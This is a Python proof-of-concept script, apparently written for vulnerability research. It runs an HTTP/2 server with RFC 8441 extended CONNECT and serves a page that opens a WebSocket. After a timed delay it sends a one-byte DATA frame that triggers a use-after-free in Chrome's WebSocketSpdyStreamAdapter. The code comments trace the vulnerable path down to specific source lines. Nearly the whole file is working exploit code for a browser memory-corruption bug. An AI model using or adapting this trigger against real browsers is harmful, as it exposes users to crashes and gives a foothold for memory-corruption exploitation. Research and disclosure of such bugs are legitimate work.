#!/usr/bin/env python3
# HTTP/2 server with RFC 8441 (Extended CONNECT for WebSocket).
#
# Behavior:
#   1. Advertises SETTINGS_ENABLE_CONNECT_PROTOCOL=1 so Chrome will use H2
#      for WebSocket connections (wss://) instead of falling back to HTTP/1.1.
#   2. Serves "/" -> a small HTML page that opens a WebSocket.
#   3. Accepts the extended CONNECT (:method=CONNECT, :protocol=websocket) on
#      any path, replies 200, then sends one small DATA frame.
#
# That single DATA frame is what enters WebSocketSpdyStreamAdapter::
# OnDataReceived with read_callback_ already pending. The frame is small
# enough that SpdyReadQueue::Dequeue copies it entirely and calls
# circular_deque::pop_front(), which destroys the SpdyBuffer with offset_==0
# (Dequeue does copy_from() without Consume()), firing ConsumeHelper(DISCARD).

import os, sys, socket, ssl, struct, threading, time

sys.path.insert(0, '/tmp/.local/lib/python3.11/site-packages')

import h2.connection
import h2.config
import h2.events
import h2.settings

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = 8443

POC_HTML = b"""<!doctype html>
<title>WebSocketSpdyStreamAdapter UAF</title>
<pre id=log></pre>
<script>
const log = m => {
  document.getElementById('log').textContent += m + '\\n';
  console.log(m);
};
log('Opening wss://localhost:""" + str(PORT).encode() + b"""/ws over HTTP/2 (RFC 8441)...');
// The page load already established an H2 session that advertised
// SETTINGS_ENABLE_CONNECT_PROTOCOL=1. SpdySessionPool will reuse it for
// this WebSocket via extended CONNECT. After the handshake (200 response),
// WebSocketBasicStream::ReadEverything pends a Read() on the adapter,
// setting read_callback_. The next DATA frame from the server enters
// OnDataReceived with that callback pending.
const ws = new WebSocket('wss://localhost:""" + str(PORT).encode() + b"""/ws');
ws.onopen    = () => log('ws open  -> server will now send DATA frame');
ws.onmessage = e  => log('ws msg   ' + e.data + '  (UAF NOT triggered)');
ws.onerror   = e  => log('ws error ' + e);
ws.onclose   = e  => log('ws close code=' + e.code + ' clean=' + e.wasClean);
</script>
"""


def serve_connection(sock, addr):
    """Handle a single TLS+H2 connection."""
    try:
        cfg = h2.config.H2Configuration(client_side=False, header_encoding='utf-8')
        conn = h2.connection.H2Connection(config=cfg)

        # Tell Chrome we support RFC 8441 extended CONNECT. This sets
        # SpdySession::support_websocket_=true on the client side once the
        # SETTINGS frame is processed (spdy_session.cc:2371). Without this,
        # SpdySessionPool refuses to use the session for WebSockets and
        # Chrome falls back to a fresh HTTP/1.1 connection, never reaching
        # WebSocketSpdyStreamAdapter.
        conn.local_settings = h2.settings.Settings(
            client=False,
            initial_values={
                h2.settings.SettingCodes.ENABLE_CONNECT_PROTOCOL: 1,
                h2.settings.SettingCodes.MAX_CONCURRENT_STREAMS: 100,
            },
        )

        conn.initiate_connection()
        sock.sendall(conn.data_to_send())

        ws_stream = None

        while True:
            data = sock.recv(65536)
            if not data:
                return

            try:
                events = conn.receive_data(data)
            except Exception as e:
                print(f"[h2] receive_data error: {e!r}", flush=True)
                return

            for ev in events:
                if isinstance(ev, h2.events.RequestReceived):
                    hdrs = dict(ev.headers)
                    method = hdrs.get(':method', '')
                    proto  = hdrs.get(':protocol', '')
                    path   = hdrs.get(':path', '')
                    sid    = ev.stream_id
                    print(f"[h2] {method} stream={sid} :protocol={proto!r} "
                          f":path={path!r}", flush=True)

                    if method == 'CONNECT' and proto == 'websocket':
                        # RFC 8441 extended CONNECT for WebSocket.
                        # Accept it; do NOT advertise sec-websocket-extensions
                        # so WebSocketHttp2HandshakeStream skips the
                        # WebSocketDeflateStream wrapper (websocket_http2_
                        # handshake_stream.cc:279-280). The error from the
                        # adapter will propagate synchronously up to
                        # WebSocketChannel::OnReadDone without an extra layer.
                        conn.send_headers(sid, [
                            (':status', '200'),
                            # No sec-websocket-extensions header.
                        ], end_stream=False)
                        sock.sendall(conn.data_to_send())
                        ws_stream = sid
                        print(f"[h2] WebSocket accepted on stream {sid}. "
                              f"Waiting briefly so the client side finishes "
                              f"handshake processing and pends a Read()...",
                              flush=True)

                        # Delay so that:
                        #  - WebSocketHttp2HandshakeStream::Upgrade() runs,
                        #    transferring ownership of the adapter to
                        #    WebSocketBasicStream and detaching the handshake
                        #    delegate.
                        #  - WebSocketChannel::ReadFrames() ->
                        #    WebSocketBasicStream::ReadEverything() ->
                        #    adapter::Read() pends with read_callback_ set
                        #    and read_data_ empty (returns ERR_IO_PENDING at
                        #    websocket_basic_stream_adapters.cc:101-102).
                        # The DATA frame must arrive AFTER read_callback_ is
                        # set, otherwise OnDataReceived enqueues but doesn't
                        # call the callback path at line 168-169.
                        #
                        # `_ws_sid` is captured by default-arg to freeze its
                        # value; otherwise the closure sees `sid` mutated by
                        # the favicon request that arrives during the sleep.
                        def delayed_data(_ws_sid=sid):
                            time.sleep(0.5)
                            # Send a tiny DATA frame. It must be smaller than
                            # the IOBuffer passed to adapter::Read() (which is
                            # WebSocketBasicStream's read buffer, several KB)
                            # so that SpdyReadQueue::Dequeue copies the whole
                            # buffer and takes the pop_front() branch at
                            # spdy_read_queue.cc:46 instead of the Consume()
                            # branch at :48. Only pop_front() destroys the
                            # SpdyBuffer with offset_==0 -> DISCARD.
                            #
                            # The bytes don't need to form a valid WebSocket
                            # frame: the UAF fires inside Dequeue, before
                            # WebSocketBasicStream parses anything.
                            conn.send_data(_ws_sid, b'X', end_stream=False)
                            try:
                                sock.sendall(conn.data_to_send())
                                print(f"[h2] DATA frame sent on stream {_ws_sid}. "
                                      f"-> SpdySession::OnStreamFrameData "
                                      f"-> SpdyBuffer with consume callback "
                                      f"-> WebSocketSpdyStreamAdapter::"
                                      f"OnDataReceived (read_callback_ set) "
                                      f"-> Dequeue -> pop_front -> "
                                      f"~SpdyBuffer -> ConsumeHelper(DISCARD)",
                                      flush=True)
                            except Exception as e:
                                print(f"[h2] sendall failed: {e!r}", flush=True)
                        threading.Thread(target=delayed_data, daemon=True).start()

                    elif method == 'GET' and path == '/':
                        # Regular page request. Serve the HTML over H2 so
                        # that this connection is the one that gets reused
                        # for the WebSocket (same origin, same connection
                        # pool key).
                        conn.send_headers(sid, [
                            (':status', '200'),
                            ('content-type', 'text/html; charset=utf-8'),
                            ('content-length', str(len(POC_HTML))),
                        ], end_stream=False)
                        conn.send_data(sid, POC_HTML, end_stream=True)
                        sock.sendall(conn.data_to_send())

                    else:
                        conn.send_headers(sid, [(':status', '404')],
                                          end_stream=True)
                        sock.sendall(conn.data_to_send())

                elif isinstance(ev, h2.events.DataReceived):
                    # Chrome sends WebSocket frames as DATA. We don't need
                    # to handle them — just ack flow control.
                    conn.acknowledge_received_data(ev.flow_controlled_length,
                                                   ev.stream_id)
                    sock.sendall(conn.data_to_send())

                elif isinstance(ev, h2.events.StreamReset):
                    print(f"[h2] RST_STREAM stream={ev.stream_id} "
                          f"err={ev.error_code}", flush=True)

                elif isinstance(ev, h2.events.ConnectionTerminated):
                    print(f"[h2] GOAWAY err={ev.error_code}", flush=True)
                    return

            # Flush any pending output (e.g. SETTINGS ACK).
            out = conn.data_to_send()
            if out:
                sock.sendall(out)

    except (ConnectionResetError, BrokenPipeError, ssl.SSLError) as e:
        print(f"[h2] connection {addr} dropped: {e!r}", flush=True)
    except Exception as e:
        import traceback
        print(f"[h2] connection {addr} crashed:", flush=True)
        traceback.print_exc()
    finally:
        try:
            sock.close()
        except Exception:
            pass


def main():
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(os.path.join(HERE, 'server.crt'),
                        os.path.join(HERE, 'server.key'))
    # Advertise h2 via ALPN. Chrome refuses to speak H2 without ALPN
    # negotiation. Without this, it would fall back to HTTP/1.1 and never
    # touch SpdySession at all.
    ctx.set_alpn_protocols(['h2'])

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(('127.0.0.1', PORT))
    srv.listen(16)

    print(f"[+] H2 server listening on https://localhost:{PORT}/", flush=True)
    print(f"[+] SETTINGS_ENABLE_CONNECT_PROTOCOL=1 (RFC 8441)", flush=True)

    while True:
        raw, addr = srv.accept()
        try:
            tls = ctx.wrap_socket(raw, server_side=True)
        except ssl.SSLError as e:
            print(f"[h2] TLS handshake failed for {addr}: {e!r}", flush=True)
            raw.close()
            continue
        proto = tls.selected_alpn_protocol()
        print(f"[h2] {addr} connected, ALPN={proto!r}", flush=True)
        threading.Thread(target=serve_connection, args=(tls, addr),
                         daemon=True).start()


if __name__ == '__main__':
    main()